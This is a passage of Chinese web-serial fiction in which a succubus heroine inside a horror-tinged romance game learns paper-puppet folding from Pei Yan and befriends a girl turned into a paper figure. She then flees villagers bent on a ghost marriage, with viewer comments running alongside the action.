但村子里很多孩子会被送出去读书。” 这个身体原本的设定,也是生活在附近的村落里的, 而且她生活的村子跟这个村子一直有往来,不然之芙也不至于会和裴钰有娃娃亲这种约定了。 ——就算之芙只是一只魅魔,她也知道人类对于知识和学业的看中, 要知道,她刚来到人类世界的时候,因为脸看着显小,司妈妈差点把她送去学校读书…… 而且她还知道人类社会有义务教育这种东西!就算家长不送,政府也会强制孩子进行社会化教育和学习。她现在已经是很懂人类的魅魔了! “没有人会离开,这里的人,生生死死都在这片土地上。"裴砚的声音从身后传来,带着山间特有的清冽。 之芙转身,正对上他低垂的眉眼。阳光穿过他纤长的睫毛,在瓷白的皮肤上投下细碎的光斑。她忽然想起祠堂里那具与他不甚相似的尸体,心头莫名一颤。 紧接着,他话锋一转:“传说,十万大山的深处是阴阳交界处,生活在这里的人应当朴素而传统。在这里,死去的人的魂魄会回到家中,等待七日后他们的伴侣陪伴他们离开。” “所以……”之芙有些迟疑,她想起了那个祠堂里的女孩。她的情况跟她很像……她们都是阴婚的受害者吧?“今天是第几天?” 她这话问得没头没尾,但裴砚几乎是立刻就明白了她在说什么。 “第四天。”他说着,侧过头。正午的阳光落在他的脸上,琥珀色的瞳孔映着天光,却透不出一丝温度。他纤长的眼睫垂下,竟有几分温柔的味道,然而说出口的话却让人不寒而栗。 他捏着袖间的小纸人,残缺的右手无意识地摩挲着袖口。 之芙有点惊讶,她昨天来到这里的时候已经是第三天了,也就是说……在裴钰咽气当天,她的父母就匆匆把她送来了,动作快得令人心惊。 四周没有人,能说的话也变得大胆了不少。之芙道:“所以我应该抓紧逃跑,是吗?” 裴砚短促地笑了一下:“但在那之前……我觉得你需要先学习,怎么在这个村子里活下去。” 之芙有些迟疑,那些村民看起来对他和她都挺尊敬的,看不出有什么危险。或者说,在那一天到来之前,那些村民应该都不会对她动手:“比如说?” “比如说,学会什么叫做‘视而不见’。” 她立刻想起那个如影随形的黑影。每当它出现,裴砚都会用身体挡住她的视线,温热的掌心覆上她的眼睛。 每次它出现时,裴砚都警告她要装作没看到:“你是说那个黑……” “你什么都不知道。”裴砚立刻打断了她,对于那个黑影,似乎连谈论都是不允许的。 但刚刚裴砚已经告诉过她了,那个黑影多半就是裴钰。她也已经大概明白过来这个像是守则一样的东西是什么了:在“她下去陪伴他”的那一天到来之前,她要装作什么都不知道的样子,看不到,听不到,更加不能谈论。 她识趣地换了个话题:“那那个女孩呢?” “哪个?”裴砚语气淡淡地问,仿佛刚刚经历了那件恐怖的事情的人不是他一样。 “就是那个向你求救的女孩。”之芙说。此刻他们正在返程的路上,裴砚所住的小楼是山中地势最高的地方,那个地方大概也跟他在村落里超然的地位有些关系,所以一路行来都没有人,大可以放开来谈论一些别人不知道或不能知道的事情,“你救了她,是不是?” 裴砚不置可否。 “我看到她的袖子里有一只小纸人,不是你的纸人吗?难道这个村子里,还有其他会操纵纸人的人?” “我为什么要救她?” “她说你给过她一套衣服,你是不是还给了她一个背包?里面有外套、保暖衣、手电筒、指南针还有干粮和水什么的……”之芙一鼓作气说完,再次在心里感叹裴砚准备之周全,这么有经验,应该不是第一次做这件事了吧? 谁知裴砚却摇摇头,脸色冷峻:“她胆子太小了。” “什么?” 裴砚的脚步微顿。山风掀起他的衣摆,露出他袖口趴着的一只纸人。之芙注意到,那纸人的眉眼,竟与祠堂里的少女有几分相似,似乎注意到她的视线,纸人也抬起头,眯着眼冲她笑。 裴砚毫不留情地用手把袖子里的纸人压了下去,他的声音里带着几分讥诮:“我给了她东西,但她不敢走。这样胆小的人,我为什么要救她?” 之芙一愣:“可是……” 或许她也只是个普通的女孩。深夜、没有路、不知道何时才能走到目的地、一眼望去只有茫茫的大山,再加上深夜的寒冷,还有那些追来的人,可能会出现的狼或是熊,甚至可能遇到之前之芙遇到的那些鬼…… “即使是一个胆子很大的成年男人,也很难下定决心逃跑吧。” 再往前几步就是他们的目的地。即使到了正午,萦绕在大山深处的白雾依旧没有散开,小楼静静地矗立在雾气之中,黑色的乌木在白雾的映衬下仿若天境,裴砚越过她向前走去,袖口的纸人在雾气中若隐若现,纤长的背影显得单薄而孤寂。 “救一次不够还要再救两次三次,在你眼里,我有那么好心吗?” 他推开乌木大门,回头看她:"过来。" 阳光穿过他的发梢,在脸上投下细碎的光影。他伸出手,掌心躺着一只未完成的纸人:“我教你折纸人。” 之芙站在原地,看着那只残缺的手。阳光落在上面,照透了他繁复的指纹,那只小纸人趴在他的掌心里,在像她招手,仿佛一旦握住,就再也逃不开了。但裴砚的目光太过蛊惑,像是山间最危险的罂粟,明知有毒,却让人忍不住靠近。 第95章 《她看不见》 还能点菜?…… 【教一次不够还要再教两~次~三~次~】 【在你眼里, 我有那么好~心~吗~】 【没有别的意思,就是想问一下傲娇还没退环境吗?】 【有本事放狠话,有本事别贴我老婆贴得那么近啊】 【是谁嘴那么硬手却贴得那么紧, 我不说~】 夕阳落下的昏黄光芒轻巧地越过窗棂,落在白纸上晕开暖色的光晕, 昏暗的房间内点了一盏烛火, 昏黄灯光照亮了这个不大不小的工作间。裴砚的指尖擦过之芙手背。他体温偏低,带着淡淡的寒意,擦过手背时留下一阵颤栗。 裴砚掌心的薄茧刮擦着之芙的虎口, 将裁纸刀推进三分:“斜着剪, 这里要留个弧度。” 之芙屏住呼吸,刀尖却收不住力道, 突然歪向一旁。裴砚不紧不慢地握住她的手, 残缺的手指抵住她腕骨, 带着她划出一道流畅的月牙。纸屑纷纷扬扬落在两人交叠的袖子上, 像落了一场细雪。 “纸片太直, 灵魂就无处容身了。” 一只白纸剪就的,活灵活现的小纸人,静静地躺在她的掌心。纸人的边缘有些毛糙, 但手脚的轮廓都清晰可辨, 只是脸上一片空白, 亟待画龙点睛。 裴砚抿了抿指尖, 将指尖的一滴血珠点在了纸人的眉心。 血珠坠在纸人眉心,晕开妖冶的朱砂色。裴砚将纸人贴在自己唇间呵气, 再递回她掌心时,雪白的纸面已染上淡淡绯色,垂着眼躺在她的掌心, 两只手紧紧地抱着她的手指,却呆呆的,没有别的动作。 “……这是?”之芙眨眨眼。 裴砚捉住之芙的食指,贴在唇边一抿。 温热的触感划过敏感的指尖,像是猫的舌头舔过,湿热的,痒痒的,一阵犬齿划过的刺痛之后,裴砚将之芙食指上的血珠点在纸人的眉心:“它现在认得你的味道了。” 纸人突然扭了扭腰肢,蹭着之芙的指尖翻了个跟头。裴砚低笑一声,残缺的左手虚拢住她执纸的手:“试试让它动。” 之芙刚要开口,纸人突然扑向裴砚颈间。他偏头躲开的瞬间,之芙的唇擦过他耳垂。纸人趁机钻进他衣领,扒着锁骨探出头,学着他平常的模样歪头,露出一个笑容来。 “看来学得太像也不好。”裴砚嗓音发哑,伸手去捉那捣乱的小东西。之芙的指尖无意间划过他心口,他袖口里的纸人突然化作片片纸片,混着他衣襟里掉出的纸钱纷纷扬扬落下。 其中一片纸人跳之芙的脸颊上,双手抱着她的脸跟她蹭蹭,白纸贴到她唇上,带着铁锈味的甜。之芙突然意识到,方才沾的不仅是她的血——裴砚破损的指根不知何时渗出血珠,正顺着红线蜿蜒到纸人残躯上。 “记住了,”他忽然伸手来拿那只捣乱的纸人,忽地贴近,沾血的拇指按在她唇角,“纸傀认主之后,夜里会循着血气来寻你。”呼吸扫过她的耳垂,“就像这样。” 之芙感觉耳根发烫,刚要推开他,却见满地碎纸突然跃起,化作数十只小纸人,争先恐后地往她裙摆上爬。 “你的纸人都这么放肆吗?”之芙手忙脚乱地抓起那些不安分的小东西。 裴砚低笑:“它们只会模仿主人的执念。”他的目光落在她泛红的耳尖,“就像现在这样,它们都想爬进你的房间。” 烛火突然剧烈摇晃,之芙感觉后颈一阵凉意。余光里,一道黑影正倚在门框上,苍白的手指轻轻敲击着门板。 之芙张了张嘴,还没反应过来那是什么,却见裴砚神色骤变。他猛地将她拉入怀中,残缺的左手扣住她的腰,自身后环抱住她。之芙听见身后传来纸张翻动的声响,夹杂着若有似无的叹息。 “别回头。”裴砚的声音压得极低,“装作什么都不知道。” 之芙僵在他的怀里,感觉有冰凉的手指抚过她的发梢。那触感与裴砚截然不同,带着死寂的寒意。她听见纸张摩擦的声音越来越近,仿佛有什么东西正在她身后徘徊。 “记住,”裴砚的唇几乎贴在她耳畔,“它们只会模仿主人的执念。”他的手指无意识地摩挲着她的掌心,粗糙的带着老茧的指尖划过,似是安慰,“就像现在这样。” 裴砚的目光落在她身侧的地板上。之芙顺着他的视线望去,只见落日光辉透过窗棂,在地上投下一道修长的影子——那影子分明是站着的,而房间里除了他们,空无一人。 “它们都想爬进你的房间。”裴砚的声音里带着几分无奈,“因为”他忽然顿住,目光落在她染血的耳垂上,“有人太执着了。” 之芙感觉心跳漏了一拍。她忽然明白,那些纸人的放肆,或许正是某个人的心意。而此刻徘徊在房间里的黑影,大概也是因为同样的执念。 烛火突然剧烈摇晃,将两人的影子投射在墙上。之芙看见自己的影子与裴砚的影子交叠,而第三道影子正伸出手,似乎要将两人分开。 “……”一阵凉风吹过她的脸颊,仿佛一声叹息,冰凉的手掌抚过她的脸颊,顺着脸颊往下,之芙感觉到一阵冷意划过锁骨,紧接着…… 裴砚忽然握住她的手,带着她折出了一道凌厉的折痕。滚热的胸膛贴近她的后背,和脸颊冰凉的触感形成了鲜明的对比,激起一阵颤栗。 手心里的纸人发出了一声尖叫。 “专心。”他低低的声音里带着警告,“折纸人最忌讳分心。” “……”之芙却越来越难集中精力。身后的手扣住了她的腰,偏冷的体温也在面前的冰冷前显得炽热,他俯下身,把下巴靠在之芙的肩膀上,呼吸扫过她的脸颊,头发蹭过她的耳朵。 他的手轻轻止住她的颤栗,黑影的手指滑到她的腰间,仿佛和裴砚的手掌重叠,裴砚却视若无睹。 裴砚忽然将她的手按在纸人的脸上,残缺的无名指抵住她掌心的纸人,带着她的手握紧了纸人:“这里要用力。” 纸人突然从之芙的掌心跳起,发出了一声尖利的嘶吼。 黑影的手指像被灼伤般缩回。之芙听见一声轻笑,再回头时,门外空空如也,只有一片纸钱缓缓飘落。 “做得很好。”裴砚松开她的手,目光落在她掌心的纸人身上,“记住,在这里,你什么都不知道。” 之芙看向满地的小纸人,它们正用朱砂绘制的眼睛望着她,嘴角挂着与裴砚如出一辙的笑意。 而她手心里的那只小纸人……长着一张熟悉的脸。长长的眼睫眨啊眨,笑着看向她。 “你是……” “是我,是我!”小纸人发出尖尖细细的声音,正是不久之前遇到的那个女孩的声音,此刻她的脸被缩小放在了纸人的脸上,去掉了泥土和血污,却更显得干净明亮。她抱住之芙的手指,蹭了蹭,“谢谢你……还有,谢谢你,裴先生!” 之芙顺着小纸人转头,裴砚却只是低着头,一昧地用无名指上的丝线操纵着其他纸人。 “裴砚?”之芙也笑着戳了戳纸人的脸颊,“是谁刚刚在说‘自己没那么好心’?嘴硬心软噢?” 但,过了几分钟裴砚才抬起头,表情却很淡,只是看着之芙问:“晚上想吃什么?” 还能点菜? 不等之芙回答,裴砚已经转身离开了。 小纸人呆呆地趴在之芙的掌心,挠挠头,跟之芙四目相对,面面相觑。 裴砚这是,怎么了? 第96章 《她看不见》 走就走!傲娇老婆别后悔…… 虽然还是初春, 但大山深处,天黑得似乎比外面快一些。夜晚的山村自然没什么娱乐项目,一顿食之无味的晚饭过后, 之芙又回到了房间里。 “你说,裴砚为什么不理咱们呢?” 之芙手里捧着白天女孩变成的小纸人, 趴在床边跟她说话。 她下巴抵在柔软的枕头上, 乌黑的发丝散落在床边,呵出的热气扑在纸人脸上,氤氲成一片朱砂色的酡红, 小纸人捧住自己的脸, 细声细气:“不知道诶。” “真是的!小气鬼!”之芙为小纸人打抱不平,又说, “裴砚这个人就是这样, 他嘴太硬了, 其实是个心软的家伙。说起来, 这就是傲娇嘛……” 现在乙女游戏里, 还流行傲娇这种角色吗?之芙思考了一秒钟,随即想到,不管流不流行, 男主全收集就行了! 【就是, 嘴硬心软的家伙!】 弹幕也附和她。 【现在还流行傲娇吗?感觉大家更喜欢会坦率地表达自己的角色呢】 【楼上的, 别小看了我们傲娇控啊!】 【我不在乎傲娇不傲娇, 脸好看就行……裴砚的脸很合格,妈妈很满意……】 和弹幕不同, 小纸人露出了迷茫的表情:“傲娇是什么?” “就是……嗯,嘴硬心软!嘴上凶巴巴的,其实一直在帮助其他人, 抹不开面子,不好意思对其他人示弱,觉得丢脸。你不觉得这样的人很可爱吗?”之芙捧住脸。 小纸人的表情更茫然了,显然她没有从冷若冰霜又神秘的裴砚身上体会到一丝一毫的可爱,反而觉得对方有点可怕:“是、是吗?……我也觉得裴先生是好人呢。” ——有时候,好人跟可怕这种词也不冲突。 “那他也不该不说话呀。”之芙摸了摸小纸人的脑袋,小纸人又红了脸,有点忐忑又有点期待地看着她,“而且是那么重要的事情。” 吃饭的时候,之芙找到机会问裴砚,小纸人为什么会变成小纸人,又问他小纸人什么时候可以变回来。 但裴砚只是沉默,对趴在之芙肩膀上眼巴巴看着他的小纸人也视若无睹。 小纸人想了想说:“这不是裴先生的错。他可能有别的想法吧,而且……” 而且,也是她没有听他的话逃走在先的。裴砚不喜欢她也很正常。 “不说他了!现在是姐妹夜聊时间。”之芙把脸贴在小纸人脸上蹭了蹭,小纸人发出小小的惊呼。 她笑眯眯地问:“你叫什么呀?我今天都还没来得及问你呢。我叫之芙,叫我芙芙就好。” “我、我叫小九。”小纸人结结巴巴地,声音也又尖又细,不像是人类能发出的声音,更像是……更像是孤魂野鬼的声音,“芙芙,你也像我一样,是被卖过来的吗?” “差不多吧。”之芙说,她把自己遇到的事情跟小九讲了一遍。 “我、我跟你一样!”小九双眼放光,像是找到了久别重逢的故友一般紧紧地抱着她的手指,顿了顿却又泄了气, “我跟你一样,也是被绑到这里来的,那些人让我跟一只公鸡拜堂……裴先生悄悄给了我一套衣服,还有手电筒和一些食物。” “我第一天试着逃跑了。可是、可是我太害怕了……”小纸人呜呜地哭了起来,双手难受地捂着脸,眼睛里不断掉出白色的纸片碎屑,“没跑多远我就被抓住了。后来,就再也没机会跑了。” 之芙把她捧在手上,小心翼翼地擦掉她脸颊上沾上的碎屑,安慰她:“没什么,我胆子大,现在不也在这里?” 小纸人抽抽噎噎地看向她。 之芙把脸凑近了些,很奇怪,纸人明明很伤心,可是她却感受不到对方身上的伤心——这么说或许有些抽象,换个例子,就像是第一个游戏时,之芙也吃过伤心害怕的时雨身上的情绪,但在小纸人的身上,却没有那种东西。 纸人身上的伤心,就像是隔着一层纸,又像是剪纸做的一桌饭菜,看起来很丰盛,但却味同嚼蜡。 她深深地吸了一口气,不着痕迹地摸摸自己肚子。上一次吃饭,还是在上一个游戏里的夕同简身上。虽然魅魔是比较能储存能量的种族,但这么久不进食也会饿的。 明明是全息乙女游戏,为什么感觉吃到的饭还比之前那些乙女游戏少了…… “我也跑了,而且我比你幸运一点。裴砚给我准备的很多野外求生的东西……可惜一个也没用上。”说到这里,之芙摊手,“我跑得比较远,在那边的山头——” 她指给小纸人看:“然后遇到了鬼。” “鬼?!”小纸人大惊失色,单薄的纸片身体瑟瑟发抖,仿佛完全不记得自己也是个“鬼”。 “对啊,鬼抬着花轿要把我接走,要不是裴砚及时赶到我就死了。”之芙做了一个割脖子的动作,“所以你看,我们俩也没啥区别。” 小纸人沉默了一会儿,忽然抱住她,尖声尖气地说:“你还有机会。你今晚还可以跑的呀。” “不要。” “为什么?!”小纸人一下子没收住声音,像是尖叫一样振聋发聩,她也意识到自己的声音太大,紧紧地捂住嘴巴,紧张地看向门外。 之芙没注意她的小动作,她在床上翻了个身,把自己卷进被子里:“昨天才跑了,不是没用么?我先是被人绑架,又跟公鸡拜堂,晚上跑了那么远的路第二天还去祠堂,累都要累死了。” 她才不相信自己能跑得掉。这可是游戏,而她只是得知了一部分的故事,按照游戏剧情来说,哪有主角还没深入了解剧情就成功逃跑的?主角要是逃跑了,剧情怎么发展? 反正都跑不掉了,就不去做那个无用功了。 之芙把自己卷成一个春卷,又滚了一圈,瘫在床上想了想说,“更何况,无论跑不跑,裴砚都能救吧?” 那样的话,也不是很着急要跑了。反正跑不跑得掉,裴砚都能为她兜底。 纸人瞪大了眼睛,从她怀里一跃跳起来,表情惊恐,手舞足蹈地要说什么。 忽然,身后伸来一只手,抓住了它的脖颈,把它从身后轻飘飘地拎了起来。 之芙顺着那双手往上一看——裴砚。 裴砚轻轻地拍去肩膀上的寒意,也不知道他在门口站了多久,又听了多久。那双琥珀色的瞳孔一扫过来,没什么威慑力——至少对之芙来说是这样,但对于瑟瑟发抖的纸人小九来说,就不是这样了。 “傲娇?”他轻飘飘地反问。“那是什么?” 小春卷之芙从被子里抬起头,认真地看向他的眼睛,确认他的眼睛里没有任何威胁或者不爽的意思,只有疑惑—— 他不会不知道什么是傲娇吧? “傲娇,就是——”之芙在被子下面的手悄悄地伸出来,然后猛地一个恶虎扑食! 裴砚的脑袋磕在地上发出了一声闷响,还未落地的声音被捂在了女孩温热的掌心里。女孩骑在他腰间,月光从她散落的发丝间漏下来一缕,她眨了眨眼,纤长的眼睫翕动,在瓷白的脸颊上织出细碎的光。 “你、松手……”裴砚喉结滚动,残缺的左手下意识扣上她的腰,常年裁剪的形成的薄茧隔着薄薄的睡衣印在她的腰间,激起一阵颤栗。 柔软的手贴在他的脸颊上,这里揉揉、那里捏捏,简单来说—— 就是在占他便宜。 之芙忽然俯身,鼻尖几乎贴上他的。 “——就是,明明耳朵都红透了,还要凶巴巴地说‘松手’啊。” 跟在裴砚身后进门的小纸人集体发出了“吱呀——”的尖叫声,小九早就钻进了被褥,只露出一只眼偷看。 【捏脸好好好,我也想捏小猫脸!】 【这是我能免费看的吗!!!】 【我该向芙芙支付看这段视频的费用……(打赏一枚□□!)调戏傲娇,爱看!】 少女松垮的衣襟随着动作滑落,露出一截雪似的锁骨,正随着呼吸轻轻起伏。裴砚呼吸突然急促起来,想起白日里教她折纸时,掌心柔软又湿热的触感。 裴砚喉结滚动,数十张纸人从他的袖口簌簌跌落,却在触及之芙裙摆的那一刻骤然僵在空中——他残缺的左手死死地扯着红线,骨节泛出青白。 “你看,纸人都比你诚实。”之芙笑着点了点他的额头,却突然被翻身压在地板上。 天旋地转间,她看见裴砚垂落的发丝扫过她的脸颊,那双澄澈的琥珀色瞳孔,在惨白的月光下泛着野兽似的幽光。 但他却没有再一步的动作。 之芙好奇地看向他,他却微微偏头,避开了之芙的视线。 ——然后拿起了放在一旁的背包,把之芙也拉了起来,然后把背包塞进了她的怀里。 之芙:? 她打开背包一看,保暖衣、外套、手电筒、食物和水,还有指南针。 之芙:…… 这不就是昨天晚上的那些东西吗? 【……免费可以看的来了。】 【不是这个不是这个!我有钱!接着播啊!】 【你们懂什么,这是系统的自动刹车功能,再播下去就要被绿静静屏蔽了……】 愣神间,裴砚把之芙推出了门:“走吧。” 之芙呆在原地,张了张嘴,半晌没有说出一句话来。 裴砚又把她往外推了推:“不走天就要亮了。” 之芙下意识往外走了一步,忽然觉得脚下有点沉重。 低头一看,一只小纸人抱住她的脚,脸上的表情是大哭的样子,看起来简直像个不舍得离开她的小屁孩儿。 之芙看看哭得凄惨的小纸人,又看看一脸平静,对她的视线视若无睹,还在用力把她往外推的裴砚。 裴砚:“……” 他恼羞成怒:“快点走!” “好好好,走就走……”之芙冷哼了一声,走就走!傲娇老婆别后悔!到时候她可不会哄他的! 她抱起背包转身就走,谁也没有注意到,小九的纸人悄悄钻进了她的背包,把脑袋往包里一缩,躲了进去。 第97章 《她看不见》 不过,她就喜欢这种刺激…… 背包里漆黑又拥挤, 里面塞着的食水杂物都挤在一起,小纸人单薄的身体夹在中间,几乎喘不过求来——不过话说回来, 她现在已经变成纸人了,还需要呼吸吗? 小九也不知道该怎么形容自己现在的状态。她觉得自己就像是穿了一身套头的紧身衣一样, 似乎一切如常, 又好像浑身被束缚的套中人,呼吸?心跳?那种东西它还有吗? 但之芙奔跑时布料摩擦的沙沙声音,都让她想起了心脏跳动的节奏。 砍头的剧痛似乎还残留在脖颈上, 小九捂住自己的脖子, 那种刺痛又像是下雨天伤口处的阴痛,连绵不绝。 裴砚为什么告诉她发生了什么?又为什么不告诉她变成人方法? 小九爬上了杂物堆, 靠在背包内层, 之芙的手在那里印出一个掌印, 它贴上去, 蜷缩着身体。 背包一颠一颠, 是之芙抱着背包在往外走,这种颠簸反而给了她一种安心感,就像是躺在摇篮里似的。 四周寂静无声, 触目可及之处只有黑暗在不断蔓延, 之芙现在走到了哪里? 小九突然觉得好困。眼皮不由自主地往下掉, 在陷入黑暗的前一秒, 她心想:等再睁开眼的时候,会不会她们已经离开这里了?就像是, 从一场可怖的梦里醒来了那样…… 如果是这样的,她希望醒来之后,之芙还在她身边…… “嗯?”在浅浅的梦里, 她听到之芙疑惑的声音。 紧接着头顶天光大亮,背包被打开了一条缝,之芙的手伸进来摸了个指南针出去,紧接着她顿了顿,又猛地把小九抓了出去—— “你怎么在这里?”之芙瞪大了眼睛。小九是什么时候跑到她的背包里去的? 但小九看起来像是睡着了一样。安安静静地躺在她的掌心,像一片轻飘飘的纸片,一阵风刮过,差点没被吹走。 “小九?小九?”之芙捏住她的肩膀摇晃,但小九却始终没有醒来。它突然变得跟之前的纸人小九很不一样,身体轻飘飘的,看起来只是一片最普通的白纸,就像是之前发生的一切魔法和奇迹都没有出现过似的。 而且,她脸上的五官似乎还在褪色。朱砂点的脸颊红晕消失了,黑笔画的五官也也渐渐变淡,就像是下一刻就要消失似的。 之芙倒吸了一口气。小九是不是…… 弹幕里那些之前害怕纸人的观众也尖叫起来。小九和别的纸人不一样,她是在所有人的注视之下从一个人变成纸人的,之芙和她早就是好朋友了。 之芙来不及多想,现在最重要的是找到裴砚,这是裴砚的纸人,他一定有办法! 她抱着纸人急匆匆地往回跑,幸好她还没有走出很远,赶回去应该还来得及。 夜晚的山村自然没有路灯这种东西,之芙打着手电筒,一束惨白的光线在田野和小路之间来回晃动,周围的树枝在灯光下像是扭曲的鬼影。 忽然,她的手电筒扫到了前方的一簇人影。 “是谁?!”前方传来一声男人的低吼。 之芙心里一惊,放慢了脚步,悄悄地把手里的纸人小九揣进了背包里。 “是谁在那里!”另一个男人暴躁地低吼,之芙注意到对面的人很多,而且他们没有打灯。敌在明我在暗,这种情况,躲起来也来不及了。 之芙定了定神,用手电筒照亮了眼前的这群人—— 七八个黑影从灌木丛中钻出,为首的刀疤脸举着火把,跳动的火光将他脸上的疤痕映得如同蜈蚣。而他身后的人也比白天时见到的多了一些,都是人高马大、身强力壮的男人。 之芙率先发难:“你们为什么在这里?” 对面的人倒是被她问得一愣。面面相觑之后,为首的刀疤脸收起了凶相,有些恭敬地回答道:“夫人,我们是来巡夜的。” 虽然之芙不知道她自己在这个山村的其他人眼里到底是什么样子的,但从白天他们的态度来看,还算是尊敬。不知道是因为裴砚的威望,还是因为她是来嫁给一个死人的,所以这些人在她死之前对她还算尊敬。 虽然这只是她的猜测,但好在也能镇住这群人。 “巡夜?”之芙又问,“为什么不带灯?” ——如果这群人带着灯,她也不至于被他们抓到了! 刀疤男用有点别扭的口音说:“夫人是外乡人,可能不清楚,我们村里人习惯了夜路,眼睛好得很,不需要灯也能看得清路。” 之芙开始刁难:“你的意思是我的眼睛不好?” “没有的事!”刀疤男立刻解释说,但他似乎也察觉到了之芙的强势,不等之芙再多说话,便问,“夫人,晚上出门是要做什么?” 他四处看了看,却没有看到裴砚的身影。他身后有人起了疑心,推搡了他一把,压低声音用方言说了句什么,之芙没有听明白,但从他凶恶地表情和虎视眈眈地、怀疑地盯着她的表情察觉到了什么。 他们起疑心了。 "夫人拿着手电筒,是在找什么?"他咧开嘴,露出被烟熏黄的牙齿,"需要帮忙吗?" 之芙抱紧了手里的背包,如果那群人发现她的包里放着逃跑用的东西,他们会怎么对待逃跑的新娘?……之芙想起了今天白天,满脸泥和血的小九,还有打在小九身上的那声闷响。 这群人对她还算尊敬,但现在明显起了疑心。他们目露凶光的样子…… 她绝对也不会有什么好下场。 不等怀疑的人群再次发问,之芙说:“裴砚让我来的。” “什么?” 之芙把手伸进背包里,掏出了小纸人:“裴砚给我这个,他让这个纸人看着我。” 几个男人对视一眼,表情放松了些。 之芙继续胡编乱造:“他让我去跟我的丈夫打个招呼。你们没看到吗?” “什、什么?” 恰巧一阵阴风吹过,风声穿过狭窄的树梢,挤压成野鬼哭嚎般的“呜呜”声。 之芙轻描淡写,指了指身后的深山:“刚刚他还在这里,有几个鬼影抬着花轿,他让我上花轿。” 她说得煞有介事,几个男人露出了有点害怕,又强做镇定的表情。 之芙摊手:“你们一来,他就走了。生气?我也不知道。可能有点生气吧。毕竟,被打断了好事,谁不生气呢?” 为首的刀疤脸明明脸生得豪横,此刻却两股战战,问:“是裴钰先生吗?” “我不知道,我没见过他啊。”之芙说得倒也不是谎话。她没有见过裴钰活着的时候的样子,也确实见过花轿——只不过不在今天。 真真假假,假假真真,才是编故事的最高境界。 “不过,除了他,还会有谁呢?”之芙漫不经心地捏着小纸人的手指,“难道我还能嫁给裴砚不成?” 刀疤脸露出惊恐万分的表情,张了张嘴:“可、可不能这么说!夫人,这可是乱天伦之大罪,是说也不能说的,快,呸呸呸!把话吐掉……!” 哦。之芙心想,这群人怪传统的。不过,她就喜欢这种刺激的。 刀疤脸结结巴巴地说完,也像是受到什么刺激一般,连连鞠躬给她道歉。他上前几步,似乎想拉住之芙的手再说什么,却猝不及防撞到了之芙手上抱着的背包。 背包骤然砸在地上,里面的东西散落一地。 外套、指南针、压缩饼干和瓶装水倒出来,滚得到处都是。 之芙:…… 所有人一时哑然,时间似乎凝固了。刀疤脸满脸的愧疚和后怕凝固在脸上,变成了一个滑稽的表情。 不等其他人反应过来,之芙拔腿就跑! 第98章 《她看不见》 “我当然爱你,裴钰。”…… “……” “呼……呼呼……” 奔跑时冷空气呼进肺里, 带来些微刺痛,又变成白色的雾气升上天空。 她丢在地上的手电筒大概是被那些人捡去了,惨白的手电灯光在她身后摇晃着, 还带着那群人的嚎叫:“别跑!” “你以为你跑得掉吗!” 之芙回头,对着那群人做了个鬼脸。有本事别喊那么大声, 来追她啊! 手心里的小纸人动了一下, 之芙赶紧抱住了小纸人。这里的山路其他人都比她熟悉,而且真的可能遇到昨天晚上的花轿,往山上跑是死路一条。 想得清楚, 之芙逃跑的方向也很清晰——往上跑, 去裴砚的家里。 在这个古怪的村子里,裴砚是她们唯一可以信任的人。 当然, 在之前, 她也得想办法甩掉那些人, 不能让他们怀疑裴砚。 之芙一边快速奔跑, 一边打量着周围有没有可以躲藏的地方。往山上的路不算长, 在飞速掠过视线的丛林里,她眼尖地看到了某样东西—— 一个凸起的坟包。而这个坟包的身后,有更多林立在黑暗中的、大大小小的坟茔。 之芙想起那些人如此凶悍, 却对操纵着鬼神之力的裴砚如此尊敬, 当她提起裴钰的时候, 那些人也露出了害怕的表情。 她转了个头, 身形如同一尾游鱼,灵巧地钻入了坟堆之间。 果然, 身后的脚步声顿了顿。 但紧接着,是刀疤脸震落坟顶石堆的咆哮:“分头找!” “那贱人不熟悉路!跑不远!” 刚刚还口口声声恭恭敬敬地喊“夫人”,现在不过一刻钟, 就变成了“贱人”。 果然,他们尊敬的不是她,而是“嫁给死人的新娘”,当她愿意为这些人牺牲自己的生命的时候,她是夫人,不愿意的时候,就成贱人了,多讽刺。 脚步声由远至近,每一个都沉重得像是巨人踏步。 不知何人刚上过香扫过墓,坟头半燃不熄的纸钱堆飘散出缕缕白烟,腐土混着纸钱的焦苦味涌入口鼻,之芙捂着鼻子,蜷缩在坟茔裂开的缝隙间。 月光穿过歪斜的墓碑,将追兵们变形的影子投射在坟包上,像一群张牙舞爪的鬼魅。 沉寂多时的弹幕也像是炸了锅似地,不断跳出一大段一大段的字,五颜六色的字体烙印在眼球上,像是一场光怪陆离的诡异梦境。 【有没有人来说一下现在是什么情况……】 【看完全场但大脑空白加一】 【真的想问很久了这只是一个乙女游戏真的要做到那么努力吗?!这可是全息,真的吓坏人怎么办……】 【代入一下是我已经腿软了……】 “哗啦!” 坟茔前的贡品盘不知被谁踩碎了,瓜果滚落一地,咕噜噜地滑到了之芙藏身的坟茔面前。 【呃,这真的是乙女游戏吗?以我玩游戏多年的经验来看,比较像是恐怖游戏吧?】 【如果这是恐怖游戏的话,接下来会……】 “咯吱——” 最近的壮汉踩在供盘碎片上,发出了令人牙酸的咯吱声。脚下腐烂的苹果汁液顺着墓碑裂缝溅在之芙手上。男人突然俯身,刀疤横贯的脸几乎贴上坟茔缺口:“找到你了。” 【贴脸杀!】 “哐!” 【系统!】之芙在心里大叫,刹那间手起刀落——手电筒落——一记闷棍砸在了男人的后颈上。 【嗯,没问题。】系统沉稳的声音还是那样靠谱,【晕了,跟上一个游戏一样。】 之芙轻轻地呼出一口气,有点想笑,但在这个氛围下还是忍住了:【合作愉快。】 系统还是那样傲娇的闷骚:【做得很好,有进步。】 上一次游戏还要敲两次,现在一次就够了。 没关系,系统不够热情,弹幕把它没给到的情绪价值拉满了: 【贴脸杀,但我芙杀对方】 【ohhhhhhh我芙牛!】 【芙芙杀人女魔头……不是,我是说,芙芙身手好利落!】 【呵呵被我老婆砸的人说谢谢了吗!】 等等!周围的人看过来了!她弄出来的动静还是太大了…… 之芙瞥了一眼周围聚集起来的人,正想要换个地方躲藏,忽然只见几个男人脸上露出呆滞的表情,不约而同地看向她的身后。 之芙:…… 直觉让她停下了往外跑的脚步,心里陡然升起一阵不祥的预感。 她微微垂下眼,皎洁的月光从身后投下来,像是视野可见的一切笼罩上一层薄纱,只有—— 只有地上,投下了两个影子。 一前一后,交叠着,像是无比亲密。 手心里捧着的小纸人忽然开始发烫,小九醒了过来,迷茫着睁大了眼睛,过了好一会儿,才从蒙昧的视线中理清发生了什么—— 之芙背靠着粗糙的石板,身后,巨大而熟悉的黑色影子亲昵地贴着她的颈侧,耳鬓厮磨。 